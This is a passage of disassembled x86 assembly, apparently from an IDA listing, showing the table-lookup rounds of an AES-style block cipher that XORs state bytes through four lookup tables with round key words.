		xor	edx, ds:dword_42ACD8[ebx*4]
		xor	esi, [eax-6Ch]
		xor	edx, [eax-64h]
		mov	ebx, ecx
		mov	[ebp+var_2C], edx
		mov	edx, [ebp+var_38]
		shr	ebx, 10h
		shr	edx, 18h
		mov	edx, ds:dword_42B8D8[edx*4]
		movzx	ebx, bl
		xor	edx, ds:dword_42B4D8[ebx*4]
		mov	ebx, [ebp+var_44]
		shr	ebx, 8
		movzx	ebx, bl
		xor	edx, ds:dword_42B0D8[ebx*4]
		movzx	ebx, byte ptr [ebp+var_48]
		xor	edx, ds:dword_42ACD8[ebx*4]
		mov	ebx, [ebp+var_38]
		xor	edx, [eax-60h]
		xor	edi, [eax-68h]
		mov	[ebp+var_28], edx
		shr	ebx, 10h
		movzx	ebx, bl
		mov	edx, esi
		shr	edx, 18h
		mov	edx, ds:dword_42B8D8[edx*4]
		xor	edx, ds:dword_42B4D8[ebx*4]
		mov	ebx, [ebp+var_40]
		shr	ebx, 8
		movzx	ebx, bl
		xor	edx, ds:dword_42B0D8[ebx*4]
		movzx	ebx, byte ptr [ebp+var_44]
		xor	edx, ds:dword_42ACD8[ebx*4]
		mov	ebx, esi
		xor	edx, [eax-5Ch]
		shr	ebx, 10h
		mov	[ebp+var_24], edx
		mov	edx, edi
		shr	edx, 18h
		mov	edx, ds:dword_42B8D8[edx*4]
		movzx	ebx, bl
		xor	edx, ds:dword_42B4D8[ebx*4]
		mov	ebx, ecx
		mov	[ebp+var_34], esi
		mov	[ebp+var_30], edi
		shr	ebx, 8
		movzx	ebx, bl
		xor	edx, ds:dword_42B0D8[ebx*4]
		movzx	ebx, byte ptr [ebp+var_40]
		xor	edx, ds:dword_42ACD8[ebx*4]
		mov	ebx, edi
		xor	edx, [eax-58h]
		shr	ebx, 10h
		mov	[ebp+var_20], edx
		mov	edx, [ebp+var_2C]
		movzx	ebx, bl
		shr	edx, 18h
		mov	edx, ds:dword_42B8D8[edx*4]
		xor	edx, ds:dword_42B4D8[ebx*4]
		mov	ebx, [ebp+var_38]
		shr	ebx, 8
		movzx	ebx, bl
		xor	edx, ds:dword_42B0D8[ebx*4]
		movzx	ebx, cl
		xor	edx, ds:dword_42ACD8[ebx*4]
		mov	ebx, esi
		xor	edx, [eax-54h]
		shr	ebx, 8
		mov	[ebp+var_1C], edx
		mov	edx, [ebp+var_2C]
		movzx	esi, bl
		shr	edx, 10h
		movzx	edx, dl
		mov	edx, ds:dword_42B4D8[edx*4]
		xor	edx, ds:dword_42B0D8[esi*4]
		mov	esi, [ebp+var_48]
		shr	esi, 18h
		xor	edx, ds:dword_42B8D8[esi*4]
		movzx	esi, byte ptr [ebp+var_38]
		xor	edx, ds:dword_42ACD8[esi*4]
		mov	ebx, edi
		mov	edi, [ebp+var_44]
		shr	ebx, 8
		movzx	esi, bl
		mov	esi, ds:dword_42B0D8[esi*4]
		mov	ebx, [ebp+var_48]
		shr	edi, 18h
		xor	esi, ds:dword_42B8D8[edi*4]
		shr	ebx, 10h
		movzx	edi, bl
		xor	esi, ds:dword_42B4D8[edi*4]
		movzx	edi, byte ptr [ebp+var_34]
		xor	esi, ds:dword_42ACD8[edi*4]
		mov	ebx, [ebp+var_2C]
		xor	esi, [eax-4Ch]
		mov	edi, [ebp+var_40]
		shr	ebx, 8
		mov	[ebp+var_14], esi
		movzx	esi, bl
		mov	esi, ds:dword_42B0D8[esi*4]
		mov	ebx, [ebp+var_44]
		shr	edi, 18h
		xor	esi, ds:dword_42B8D8[edi*4]
		shr	ebx, 10h
		movzx	edi, bl
		xor	esi, ds:dword_42B4D8[edi*4]
		movzx	edi, byte ptr [ebp+var_30]
		xor	esi, ds:dword_42ACD8[edi*4]
		mov	ebx, [ebp+var_40]
		xor	esi, [eax-48h]
		xor	edx, [eax-50h]
		shr	ecx, 18h
		mov	edi, ds:dword_42B8D8[ecx*4]
		mov	ecx, [ebp+var_48]
		shr	ebx, 10h
		mov	[ebp+var_10], esi
		movzx	esi, bl
		xor	edi, ds:dword_42B4D8[esi*4]
		mov	ebx, [ebp+var_24]
		shr	ecx, 8
		movzx	ecx, cl
		xor	edi, ds:dword_42B0D8[ecx*4]
		movzx	ecx, byte ptr [ebp+var_2C]
		xor	edi, ds:dword_42ACD8[ecx*4]
		xor	edi, [eax-44h]
		mov	[ebp+var_C], edi

loc_419A67:				; CODE XREF: sub_41954F+132j
		mov	ecx, edx
		shr	ecx, 18h
		mov	esi, ds:dword_42B8D8[ecx*4]
		mov	[ebp+var_4], edx
		mov	edx, [ebp+var_1C]
		mov	ecx, ebx
		shr	ecx, 8
		movzx	ecx, cl
		shr	edx, 10h
		movzx	edi, dl
		xor	esi, ds:dword_42B4D8[edi*4]
		mov	edx, [ebp+var_4]
		xor	esi, ds:dword_42B0D8[ecx*4]
		movzx	ecx, byte ptr [ebp+var_28]
		xor	esi, ds:dword_42ACD8[ecx*4]
		mov	ecx, [ebp+var_14]
		xor	esi, [eax-40h]
		shr	ecx, 18h
		mov	[ebp+var_48], esi
		mov	esi, ds:dword_42B8D8[ecx*4]
		mov	ecx, [ebp+var_20]
		shr	ecx, 8
		movzx	ecx, cl
		mov	[ebp+var_4], edx
		shr	edx, 10h
		movzx	edi, dl
		xor	esi, ds:dword_42B4D8[edi*4]
		mov	edx, [ebp+var_4]
		xor	esi, ds:dword_42B0D8[ecx*4]
		movzx	ecx, bl
		xor	esi, ds:dword_42ACD8[ecx*4]
		mov	ecx, [ebp+var_10]
		xor	esi, [eax-3Ch]
		mov	ebx, [ebp+var_14]
		mov	[ebp+var_44], esi
		shr	ecx, 18h
		mov	esi, ds:dword_42B8D8[ecx*4]
		mov	ecx, [ebp+var_1C]
		shr	ebx, 10h
		movzx	edi, bl
		xor	esi, ds:dword_42B4D8[edi*4]
		mov	ebx, [ebp+var_10]
		shr	ecx, 8
		movzx	ecx, cl
		xor	esi, ds:dword_42B0D8[ecx*4]
		movzx	ecx, byte ptr [ebp+var_20]
		xor	esi, ds:dword_42ACD8[ecx*4]
		mov	ecx, [ebp+var_C]
		xor	esi, [eax-38h]
		shr	ebx, 10h
		mov	[ebp+var_40], esi
		movzx	esi, bl
		shr	ecx, 18h
		mov	ecx, ds:dword_42B8D8[ecx*4]
		xor	ecx, ds:dword_42B4D8[esi*4]
		mov	ebx, edx
		shr	ebx, 8
		movzx	esi, bl
		xor	ecx, ds:dword_42B0D8[esi*4]
		movzx	esi, byte ptr [ebp+var_1C]
		xor	ecx, ds:dword_42ACD8[esi*4]
		mov	ebx, [ebp+var_C]
		xor	ecx, [eax-34h]
		shr	ebx, 10h
		movzx	esi, bl
		mov	ebx, [ebp+var_14]
		mov	esi, ds:dword_42B4D8[esi*4]
		shr	ebx, 8
		movzx	edi, bl
		xor	esi, ds:dword_42B0D8[edi*4]
		mov	edi, [ebp+var_28]
		movzx	edx, dl
		mov	[ebp+var_4], esi
		shr	edi, 18h
		xor	esi, ds:dword_42B8D8[edi*4]
		xor	esi, ds:dword_42ACD8[edx*4]
		mov	edx, [ebp+var_10]
		xor	esi, [eax-30h]
		shr	edx, 8
		mov	[ebp+var_38], esi
		movzx	edx, dl
		mov	esi, ds:dword_42B0D8[edx*4]
		mov	edx, [ebp+var_28]
		mov	edi, [ebp+var_24]
		shr	edx, 10h
		movzx	edx, dl
		mov	ebx, [ebp+var_20]
		shr	edi, 18h
		xor	esi, ds:dword_42B8D8[edi*4]
		shr	ebx, 18h
		xor	esi, ds:dword_42B4D8[edx*4]
		movzx	edx, byte ptr [ebp+var_14]
		xor	esi, ds:dword_42ACD8[edx*4]
		mov	edx, [ebp+var_C]
		shr	edx, 8
		movzx	edx, dl
		mov	edi, ds:dword_42B0D8[edx*4]
		xor	edi, ds:dword_42B8D8[ebx*4]
		mov	edx, [ebp+var_24]
		shr	edx, 10h
		movzx	edx, dl
		xor	edi, ds:dword_42B4D8[edx*4]
		movzx	edx, byte ptr [ebp+var_10]
		xor	edi, ds:dword_42ACD8[edx*4]
		mov	ebx, [ebp+var_20]
		mov	edx, [ebp+var_1C]
		shr	ebx, 10h
		shr	edx, 18h
		mov	edx, ds:dword_42B8D8[edx*4]
		movzx	ebx, bl
		xor	edx, ds:dword_42B4D8[ebx*4]
		mov	ebx, [ebp+var_28]
		shr	ebx, 8
		movzx	ebx, bl
		xor	edx, ds:dword_42B0D8[ebx*4]
		movzx	ebx, byte ptr [ebp+var_C]
		xor	edx, ds:dword_42ACD8[ebx*4]
		xor	esi, [eax-2Ch]
		xor	edx, [eax-24h]
		mov	ebx, ecx
		mov	[ebp+var_2C], edx
		mov	edx, [ebp+var_38]
		shr	ebx, 10h
		shr	edx, 18h
		mov	edx, ds:dword_42B8D8[edx*4]
		movzx	ebx, bl
		xor	edx, ds:dword_42B4D8[ebx*4]
		mov	ebx, [ebp+var_44]
		shr	ebx, 8
		movzx	ebx, bl
		xor	edx, ds:dword_42B0D8[ebx*4]
		movzx	ebx, byte ptr [ebp+var_48]
		xor	edx, ds:dword_42ACD8[ebx*4]
		mov	ebx, [ebp+var_38]
		xor	edx, [eax-20h]
		xor	edi, [eax-28h]
		mov	[ebp+var_28], edx
		shr	ebx, 10h
		movzx	ebx, bl
		mov	edx, esi
		shr	edx, 18h
		mov	edx, ds:dword_42B8D8[edx*4]
		xor	edx, ds:dword_42B4D8[ebx*4]
		mov	ebx, [ebp+var_40]
		shr	ebx, 8
		movzx	ebx, bl
		xor	edx, ds:dword_42B0D8[ebx*4]
		movzx	ebx, byte ptr [ebp+var_44]
		xor	edx, ds:dword_42ACD8[ebx*4]
		mov	ebx, esi
		xor	edx, [eax-1Ch]
		shr	ebx, 10h
		mov	[ebp+var_24], edx
		mov	edx, edi
		shr	edx, 18h
		mov	edx, ds:dword_42B8D8[edx*4]
		movzx	ebx, bl
		xor	edx, ds:dword_42B4D8[ebx*4]
		mov	ebx, ecx
		mov	[ebp+var_34], esi
		mov	[ebp+var_30], edi
		shr	ebx, 8
		movzx	ebx, bl
		xor	edx, ds:dword_42B0D8[ebx*4]
		movzx	ebx, byte ptr [ebp+var_40]
		xor	edx, ds:dword_42ACD8[ebx*4]
		mov	ebx, edi
		xor	edx, [eax-18h]
		shr	ebx, 10h
		mov	[ebp+var_20], edx
		mov	edx, [ebp+var_2C]
		movzx	ebx, bl
		shr	edx, 18h
		mov	edx, ds:dword_42B8D8[edx*4]
		xor	edx, ds:dword_42B4D8[ebx*4]
		mov	ebx, [ebp+var_38]
		shr	ebx, 8
		movzx	ebx, bl
		xor	edx, ds:dword_42B0D8[ebx*4]
		movzx	ebx, cl
		xor	edx, ds:dword_42ACD8[ebx*4]
		mov	ebx, esi
		xor	edx, [eax-14h]
		shr	ebx, 8
		mov	[ebp+var_1C], edx
		mov	edx, [ebp+var_2C]
		movzx	esi, bl
		shr	edx, 10h
		movzx	edx, dl
		mov	edx, ds:dword_42B4D8[edx*4]
		xor	edx, ds:dword_42B0D8[esi*4]
		mov	esi, [ebp+var_48]
		shr	esi, 18h
		xor	edx, ds:dword_42B8D8[esi*4]
		movzx	esi, byte ptr [ebp+var_38]
		xor	edx, ds:dword_42ACD8[esi*4]
		mov	ebx, edi
		mov	edi, [ebp+var_44]
		shr	ebx, 8
		movzx	esi, bl
		mov	esi, ds:dword_42B0D8[esi*4]
		mov	ebx, [ebp+var_48]
		shr	edi, 18h
		xor	esi, ds:dword_42B8D8[edi*4]
		shr	ebx, 10h
		movzx	edi, bl
		xor	esi, ds:dword_42B4D8[edi*4]
		movzx	edi, byte ptr [ebp+var_34]
		xor	esi, ds:dword_42ACD8[edi*4]
		mov	ebx, [ebp+var_2C]
		xor	esi, [eax-0Ch]
		mov	edi, [ebp+var_40]
		shr	ebx, 8
		mov	[ebp+var_14], esi
		movzx	esi, bl
		mov	esi, ds:dword_42B0D8[esi*4]
		mov	ebx, [ebp+var_44]
		shr	edi, 18h
		xor	esi, ds:dword_42B8D8[edi*4]
		shr	ebx, 10h
		movzx	edi, bl
		xor	esi, ds:dword_42B4D8[edi*4]
		movzx	edi, byte ptr [ebp+var_30]
		xor	esi, ds:dword_42ACD8[edi*4]
		mov	ebx, [ebp+var_40]
		xor	esi, [eax-8]
		xor	edx, [eax-10h]
		shr	ecx, 18h
		mov	edi, ds:dword_42B8D8[ecx*4]
		mov	ecx, [ebp+var_48]
		shr	ebx, 10h
		mov	[ebp+var_10], esi
		movzx	esi, bl
		xor	edi, ds:dword_42B4D8[esi*4]
		mov	ebx, [ebp+var_24]
		shr	ecx, 8
		movzx	ecx, cl
		xor	edi, ds:dword_42B0D8[ecx*4]
		movzx	ecx, byte ptr [ebp+var_2C]
		xor	edi, ds:dword_42ACD8[ecx*4]
		mov	[ebp+var_18], edx
		xor	edi, [eax-4]
		mov	[ebp+var_C], edi

loc_419E42:				; CODE XREF: sub_41954F+12Aj
		mov	ecx, edx
		shr	ecx, 18h
		mov	ecx, ds:dword_42B8D8[ecx*4]
		mov	[ebp+var_4], edx
		mov	edx, [ebp+var_1C]
		shr	edx, 10h
		movzx	esi, dl
		xor	ecx, ds:dword_42B4D8[esi*4]
		mov	edx, [ebp+var_4]
		shr	ebx, 8
		movzx	esi, bl
		xor	ecx, ds:dword_42B0D8[esi*4]
		movzx	esi, byte ptr [ebp+var_28]
		xor	ecx, ds:dword_42ACD8[esi*4]
		mov	ebx, edx
		xor	ecx, [eax]
		shr	ebx, 10h
		mov	[ebp+var_48], ecx
		mov	ecx, [ebp+var_14]
		shr	ecx, 18h
		movzx	esi, bl
		mov	ebx, ds:dword_42B8D8[ecx*4]
		xor	ebx, ds:dword_42B4D8[esi*4]
		mov	ecx, [ebp+var_20]
		shr	ecx, 8
		movzx	ecx, cl
		xor	ebx, ds:dword_42B0D8[ecx*4]
		movzx	ecx, byte ptr [ebp+var_24]
		xor	ebx, ds:dword_42ACD8[ecx*4]
		mov	ecx, [ebp+var_10]
		xor	ebx, [eax+4]
		shr	ecx, 18h
		mov	esi, ds:dword_42B8D8[ecx*4]
		mov	ecx, [ebp+var_1C]
		mov	[ebp+var_44], ebx
		mov	[ebp+var_8], ebx
		mov	ebx, [ebp+var_14]
		shr	ecx, 8
		shr	ebx, 10h
		movzx	edi, bl
		xor	esi, ds:dword_42B4D8[edi*4]
		mov	ebx, [ebp+var_10]
		movzx	ecx, cl
		xor	esi, ds:dword_42B0D8[ecx*4]
		movzx	ecx, byte ptr [ebp+var_20]
		xor	esi, ds:dword_42ACD8[ecx*4]
		mov	ecx, [ebp+var_C]
		xor	esi, [eax+8]
		shr	edx, 8
		movzx	edx, dl
		mov	[ebp+var_40], esi
		shr	ecx, 18h
		mov	ecx, ds:dword_42B8D8[ecx*4]
		shr	ebx, 10h
		movzx	esi, bl
		xor	ecx, ds:dword_42B4D8[esi*4]
		mov	ebx, [ebp+var_14]
		xor	ecx, ds:dword_42B0D8[edx*4]
		movzx	edx, byte ptr [ebp+var_1C]
		xor	ecx, ds:dword_42ACD8[edx*4]
		mov	edx, [ebp+var_C]
		xor	ecx, [eax+0Ch]
		shr	edx, 10h
		movzx	edx, dl
		mov	esi, ds:dword_42B4D8[edx*4]
		mov	edx, [ebp+var_28]
		shr	ebx, 8
		movzx	edi, bl
		xor	esi, ds:dword_42B0D8[edi*4]
		mov	edi, [ebp+var_24]
		shr	edx, 18h
		xor	esi, ds:dword_42B8D8[edx*4]
		movzx	edx, byte ptr [ebp+var_18]
		xor	esi, ds:dword_42ACD8[edx*4]
		mov	edx, [ebp+var_10]
		xor	esi, [eax+10h]
		shr	edx, 8
		shr	edi, 18h
		mov	[ebp+var_38], esi
		movzx	edx, dl
		mov	[ebp+var_4], edi
		mov	edi, ds:dword_42B0D8[edx*4]
		mov	edx, [ebp+var_4]
		xor	edi, ds:dword_42B8D8[edx*4]
		mov	edx, [ebp+var_28]
		shr	edx, 10h
		movzx	edx, dl
		xor	edi, ds:dword_42B4D8[edx*4]
		movzx	edx, byte ptr [ebp+var_14]
		xor	edi, ds:dword_42ACD8[edx*4]
		mov	edx, [ebp+var_C]
		xor	edi, [eax+14h]
		shr	edx, 8
		movzx	edx, dl
		mov	[ebp+var_34], edi
		mov	edi, [ebp+var_20]
		shr	edi, 18h
		mov	[ebp+var_4], edi
		mov	edi, ds:dword_42B0D8[edx*4]
		mov	edx, [ebp+var_4]
		xor	edi, ds:dword_42B8D8[edx*4]
		mov	edx, [ebp+var_24]
		shr	edx, 10h
		movzx	edx, dl
		xor	edi, ds:dword_42B4D8[edx*4]
		movzx	edx, byte ptr [ebp+var_10]
		xor	edi, ds:dword_42ACD8[edx*4]
		mov	ebx, [ebp+var_20]
		xor	edi, [eax+18h]
		mov	edx, [ebp+var_1C]
		mov	[ebp+var_30], edi
		shr	edx, 18h
		shr	ebx, 10h
		movzx	edi, bl
		mov	[ebp+var_4], edi
		mov	edi, ds:dword_42B8D8[edx*4]
		mov	edx, [ebp+var_4]
		xor	edi, ds:dword_42B4D8[edx*4]
		mov	edx, [ebp+var_28]
		shr	edx, 8
		movzx	edx, dl
		xor	edi, ds:dword_42B0D8[edx*4]
		movzx	edx, byte ptr [ebp+var_C]
		xor	edi, ds:dword_42ACD8[edx*4]
		mov	ebx, ecx
		xor	edi, [eax+1Ch]
		shr	ebx, 10h
		mov	[ebp+var_2C], edi
		movzx	edi, bl
		mov	ebx, [ebp+var_8]
		mov	[ebp+var_4], edi
		mov	edx, esi
		shr	edx, 18h
		mov	edi, ds:dword_42B8D8[edx*4]
		mov	edx, [ebp+var_4]
		xor	edi, ds:dword_42B4D8[edx*4]
		mov	edx, ebx
		shr	edx, 8
		movzx	edx, dl
		xor	edi, ds:dword_42B0D8[edx*4]
		movzx	edx, byte ptr [ebp+var_48]
		xor	edi, ds:dword_42ACD8[edx*4]
		mov	edx, [ebp+var_34]
		xor	edi, [eax+20h]
		shr	edx, 18h
		mov	[ebp+var_28], edi
		mov	edi, ds:dword_42B8D8[edx*4]
		mov	edx, [ebp+var_40]
		mov	[ebp+var_8], ecx
		mov	ecx, esi
		shr	ecx, 10h
		shr	edx, 8
		movzx	ecx, cl
		xor	edi, ds:dword_42B4D8[ecx*4]
		movzx	edx, dl
		xor	edi, ds:dword_42B0D8[edx*4]
		movzx	edx, bl
		xor	edi, ds:dword_42ACD8[edx*4]
		mov	edx, [ebp+var_30]
		xor	edi, [eax+24h]
		shr	edx, 18h
		mov	[ebp+var_24], edi
		mov	edi, ds:dword_42B8D8[edx*4]
		mov	ebx, [ebp+var_34]
		mov	ecx, [ebp+var_8]
		shr	ebx, 10h
		movzx	ebx, bl
		xor	edi, ds:dword_42B4D8[ebx*4]
		mov	ebx, [ebp+var_30]
		mov	edx, ecx
		shr	edx, 8
		movzx	edx, dl
		xor	edi, ds:dword_42B0D8[edx*4]
		movzx	edx, byte ptr [ebp+var_40]
		xor	edi, ds:dword_42ACD8[edx*4]
		mov	edx, [ebp+var_2C]
		xor	edi, [eax+28h]
		shr	ebx, 10h
		mov	[ebp+var_20], edi
		movzx	edi, bl
		mov	ebx, esi
		shr	ebx, 8
		movzx	esi, bl
		mov	ebx, [ebp+var_2C]
		shr	edx, 18h
		mov	edx, ds:dword_42B8D8[edx*4]
		xor	edx, ds:dword_42B4D8[edi*4]
		shr	ebx, 10h
		xor	edx, ds:dword_42B0D8[esi*4]
		movzx	esi, cl
		xor	edx, ds:dword_42ACD8[esi*4]
		movzx	esi, bl
		mov	esi, ds:dword_42B4D8[esi*4]
		mov	ebx, [ebp+var_34]
		shr	ebx, 8
		movzx	edi, bl
		xor	esi, ds:dword_42B0D8[edi*4]
		movzx	edi, byte ptr [ebp+var_38]
		mov	[ebp+var_4], esi
		mov	esi, [ebp+var_48]
		mov	ebx, [ebp+var_30]
		shr	esi, 18h
		mov	esi, ds:dword_42B8D8[esi*4]
		xor	[ebp+var_4], esi
		mov	esi, [ebp+var_4]
		xor	esi, ds:dword_42ACD8[edi*4]
		mov	edi, [ebp+var_44]
		xor	esi, [eax+30h]
		shr	ebx, 8
		mov	[ebp+var_18], esi
		movzx	esi, bl
		mov	esi, ds:dword_42B0D8[esi*4]
		mov	ebx, [ebp+var_48]
		shr	edi, 18h
		xor	esi, ds:dword_42B8D8[edi*4]
		movzx	edi, byte ptr [ebp+var_34]
		mov	[ebp+var_4], esi
		shr	ebx, 10h
		movzx	esi, bl
		mov	esi, ds:dword_42B4D8[esi*4]
		xor	[ebp+var_4], esi
		mov	esi, [ebp+var_4]
		xor	esi, ds:dword_42ACD8[edi*4]
		mov	ebx, [ebp+var_2C]
		xor	esi, [eax+34h]
		mov	edi, [ebp+var_40]
		xor	edx, [eax+2Ch]
		mov	[ebp+var_14], esi
		shr	ebx, 8
		movzx	esi, bl
		mov	esi, ds:dword_42B0D8[esi*4]
		mov	ebx, [ebp+var_44]
		shr	edi, 18h
		xor	esi, ds:dword_42B8D8[edi*4]
		movzx	edi, byte ptr [ebp+var_30]
		mov	[ebp+var_4], esi
		shr	ebx, 10h
		movzx	esi, bl
		mov	esi, ds:dword_42B4D8[esi*4]
		xor	[ebp+var_4], esi
		mov	esi, [ebp+var_4]
		xor	esi, ds:dword_42ACD8[edi*4]
		xor	esi, [eax+38h]
		shr	ecx, 18h
		mov	ebx, [ebp+var_40]
		shr	ebx, 10h
		movzx	edi, bl
		mov	[ebp+var_10], esi
		mov	esi, ds:dword_42B8D8[ecx*4]
		xor	esi, ds:dword_42B4D8[edi*4]
		mov	ecx, [ebp+var_48]
		shr	ecx, 8
		movzx	ecx, cl
		xor	esi, ds:dword_42B0D8[ecx*4]
		movzx	ecx, byte ptr [ebp+var_2C]
		xor	esi, ds:dword_42ACD8[ecx*4]
		mov	ecx, [ebp+var_18]
		shr	ecx, 18h
		mov	edi, ds:dword_42B8D8[ecx*4]
		mov	ecx, [ebp+var_24]
		shr	ecx, 8
		movzx	ecx, cl
		mov	ebx, edx
		shr	ebx, 10h
		movzx	ebx, bl
		xor	edi, ds:dword_42B4D8[ebx*4]
		mov	ebx, [ebp+var_18]
		xor	edi, ds:dword_42B0D8[ecx*4]
		movzx	ecx, byte ptr [ebp+var_28]
		xor	edi, ds:dword_42ACD8[ecx*4]
		mov	ecx, [ebp+var_14]
		xor	edi, [eax+40h]
		shr	ecx, 18h
		mov	[ebp+var_48], edi
		mov	edi, ds:dword_42B8D8[ecx*4]
		mov	ecx, [ebp+var_20]
		shr	ecx, 8
		movzx	ecx, cl
		shr	ebx, 10h
		movzx	ebx, bl
		xor	edi, ds:dword_42B4D8[ebx*4]
		mov	ebx, [ebp+var_14]
		xor	edi, ds:dword_42B0D8[ecx*4]
		movzx	ecx, byte ptr [ebp+var_24]
		xor	edi, ds:dword_42ACD8[ecx*4]
		mov	ecx, [ebp+var_10]
		xor	edi, [eax+44h]
		xor	esi, [eax+3Ch]
		shr	ecx, 18h
		shr	ebx, 10h
		mov	[ebp+var_44], edi
		mov	edi, ds:dword_42B8D8[ecx*4]
		movzx	ebx, bl
		xor	edi, ds:dword_42B4D8[ebx*4]
		mov	ecx, edx
		shr	ecx, 8
		movzx	ecx, cl
		xor	edi, ds:dword_42B0D8[ecx*4]
		movzx	ecx, byte ptr [ebp+var_20]
		xor	edi, ds:dword_42ACD8[ecx*4]
		mov	ecx, [ebp+var_10]
		shr	ecx, 10h
		xor	edi, [eax+48h]
		movzx	ecx, cl
		mov	[ebp+var_C], esi
		shr	esi, 18h
		mov	ebx, ds:dword_42B8D8[esi*4]
		xor	ebx, ds:dword_42B4D8[ecx*4]
		mov	ecx, [ebp+var_18]
		shr	ecx, 8
		movzx	ecx, cl
		xor	ebx, ds:dword_42B0D8[ecx*4]
		movzx	ecx, dl
		xor	ebx, ds:dword_42ACD8[ecx*4]
		mov	ecx, [ebp+var_C]
		xor	ebx, [eax+4Ch]
		shr	ecx, 10h
		mov	[ebp+var_8], ebx
		mov	ebx, [ebp+var_14]
		movzx	ecx, cl
		mov	esi, ds:dword_42B4D8[ecx*4]
		shr	ebx, 8
		mov	[ebp+var_40], edi
		movzx	edi, bl
		xor	esi, ds:dword_42B0D8[edi*4]
		mov	ecx, [ebp+var_28]
		shr	ecx, 18h
		mov	ecx, ds:dword_42B8D8[ecx*4]
		mov	[ebp+var_4], esi
		xor	[ebp+var_4], ecx
		mov	esi, [ebp+var_4]
		movzx	ecx, byte ptr [ebp+var_18]
		xor	esi, ds:dword_42ACD8[ecx*4]
		mov	ecx, [ebp+var_10]
		xor	esi, [eax+50h]
		shr	ecx, 8
		movzx	ecx, cl
		mov	edi, [ebp+var_24]
		mov	[ebp+var_38], esi
		mov	esi, ds:dword_42B0D8[ecx*4]
		mov	ecx, [ebp+var_28]
		shr	ecx, 10h
		movzx	ecx, cl
		mov	ecx, ds:dword_42B4D8[ecx*4]
		shr	edi, 18h
		xor	esi, ds:dword_42B8D8[edi*4]
		mov	edi, [ebp+var_20]
		mov	[ebp+var_4], esi
		xor	[ebp+var_4], ecx
		movzx	ecx, byte ptr [ebp+var_14]
		mov	esi, [ebp+var_4]
		xor	esi, ds:dword_42ACD8[ecx*4]
		mov	ecx, [ebp+var_C]
		xor	esi, [eax+54h]
		shr	ecx, 8
		movzx	ecx, cl
		mov	[ebp+var_34], esi
		mov	esi, ds:dword_42B0D8[ecx*4]
		mov	ecx, [ebp+var_24]
		shr	ecx, 10h
		movzx	ecx, cl
		mov	ecx, ds:dword_42B4D8[ecx*4]
		shr	edi, 18h
		xor	esi, ds:dword_42B8D8[edi*4]
		mov	ebx, [ebp+var_8]
		mov	[ebp+var_4], esi
		xor	[ebp+var_4], ecx
		movzx	ecx, byte ptr [ebp+var_10]
		mov	esi, [ebp+var_4]
		xor	esi, ds:dword_42ACD8[ecx*4]
		mov	ecx, [ebp+var_20]
		xor	esi, [eax+58h]
		shr	ecx, 10h
		movzx	ecx, cl
		shr	edx, 18h
		mov	[ebp+var_30], esi
		mov	esi, ds:dword_42B8D8[edx*4]
		xor	esi, ds:dword_42B4D8[ecx*4]
		mov	ecx, [ebp+var_28]
		shr	ecx, 8
		movzx	ecx, cl
		xor	esi, ds:dword_42B0D8[ecx*4]
		movzx	ecx, byte ptr [ebp+var_C]
		xor	esi, ds:dword_42ACD8[ecx*4]
		mov	ecx, [ebp+var_38]
		xor	esi, [eax+5Ch]
		shr	ecx, 18h
		mov	edi, ds:dword_42B8D8[ecx*4]
		mov	ecx, [ebp+var_44]
		mov	edx, ebx
		shr	edx, 10h
		shr	ecx, 8
		movzx	edx, dl
		xor	edi, ds:dword_42B4D8[edx*4]
		mov	edx, [ebp+var_38]
		movzx	ecx, cl
		xor	edi, ds:dword_42B0D8[ecx*4]
		movzx	ecx, byte ptr [ebp+var_48]
		xor	edi, ds:dword_42ACD8[ecx*4]
		mov	ecx, [ebp+var_34]
		xor	edi, [eax+60h]
		shr	ecx, 18h
		mov	[ebp+var_2C], esi
		mov	[ebp+var_28], edi
		shr	edx, 10h
		mov	edi, ds:dword_42B8D8[ecx*4]
		mov	ecx, [ebp+var_40]
		movzx	edx, dl
		xor	edi, ds:dword_42B4D8[edx*4]
		shr	ecx, 8
		mov	edx, [ebp+var_34]
		movzx	ecx, cl
		xor	edi, ds:dword_42B0D8[ecx*4]
		movzx	ecx, byte ptr [ebp+var_44]
		xor	edi, ds:dword_42ACD8[ecx*4]
		mov	ecx, [ebp+var_30]
		xor	edi, [eax+64h]
		shr	edx, 10h
		movzx	edx, dl
		shr	ecx, 18h
		mov	[ebp+var_24], edi
		mov	edi, ds:dword_42B8D8[ecx*4]
		xor	edi, ds:dword_42B4D8[edx*4]
		mov	ecx, ebx
		shr	ecx, 8
		movzx	ecx, cl
		xor	edi, ds:dword_42B0D8[ecx*4]
		movzx	ecx, byte ptr [ebp+var_40]
		xor	edi, ds:dword_42ACD8[ecx*4]
		mov	ecx, [ebp+var_30]
		xor	edi, [eax+68h]
		shr	esi, 18h
		shr	ecx, 10h
		movzx	edx, cl
		mov	ecx, ds:dword_42B8D8[esi*4]
		xor	ecx, ds:dword_42B4D8[edx*4]
		mov	edx, [ebp+var_38]
		shr	edx, 8
		movzx	edx, dl
		xor	ecx, ds:dword_42B0D8[edx*4]
		movzx	edx, bl
		xor	ecx, ds:dword_42ACD8[edx*4]
		mov	edx, [ebp+var_2C]
		xor	ecx, [eax+6Ch]
		shr	edx, 10h
		movzx	edx, dl
		mov	esi, ds:dword_42B4D8[edx*4]
		mov	edx, [ebp+var_48]
		shr	edx, 18h
		mov	edx, ds:dword_42B8D8[edx*4]
		mov	[ebp+var_8], ecx
		mov	ecx, [ebp+var_34]
		mov	[ebp+var_20], edi
		shr	ecx, 8
		movzx	edi, cl
		xor	esi, ds:dword_42B0D8[edi*4]
		mov	edi, [ebp+var_44]
		mov	[ebp+var_4], esi
		xor	[ebp+var_4], edx
		movzx	edx, byte ptr [ebp+var_38]
		mov	esi, [ebp+var_4]
		xor	esi, ds:dword_42ACD8[edx*4]
		mov	edx, [ebp+var_30]
		xor	esi, [eax+70h]
		shr	edx, 8
		movzx	edx, dl
		mov	[ebp+var_18], esi
		mov	esi, ds:dword_42B0D8[edx*4]
		mov	edx, [ebp+var_48]
		shr	edx, 10h
		movzx	edx, dl
		mov	edx, ds:dword_42B4D8[edx*4]
		shr	edi, 18h
		xor	esi, ds:dword_42B8D8[edi*4]
		mov	edi, [ebp+var_40]
		mov	[ebp+var_4], esi
		xor	[ebp+var_4], edx
		movzx	edx, byte ptr [ebp+var_34]
		mov	esi, [ebp+var_4]
		xor	esi, ds:dword_42ACD8[edx*4]
		mov	edx, [ebp+var_2C]
		xor	esi, [eax+74h]
		shr	edx, 8
		mov	[ebp+var_14], esi
		movzx	edx, dl
		shr	edi, 18h
		mov	esi, ds:dword_42B0D8[edx*4]
		xor	esi, ds:dword_42B8D8[edi*4]
		mov	edx, [ebp+var_44]
		shr	edx, 10h
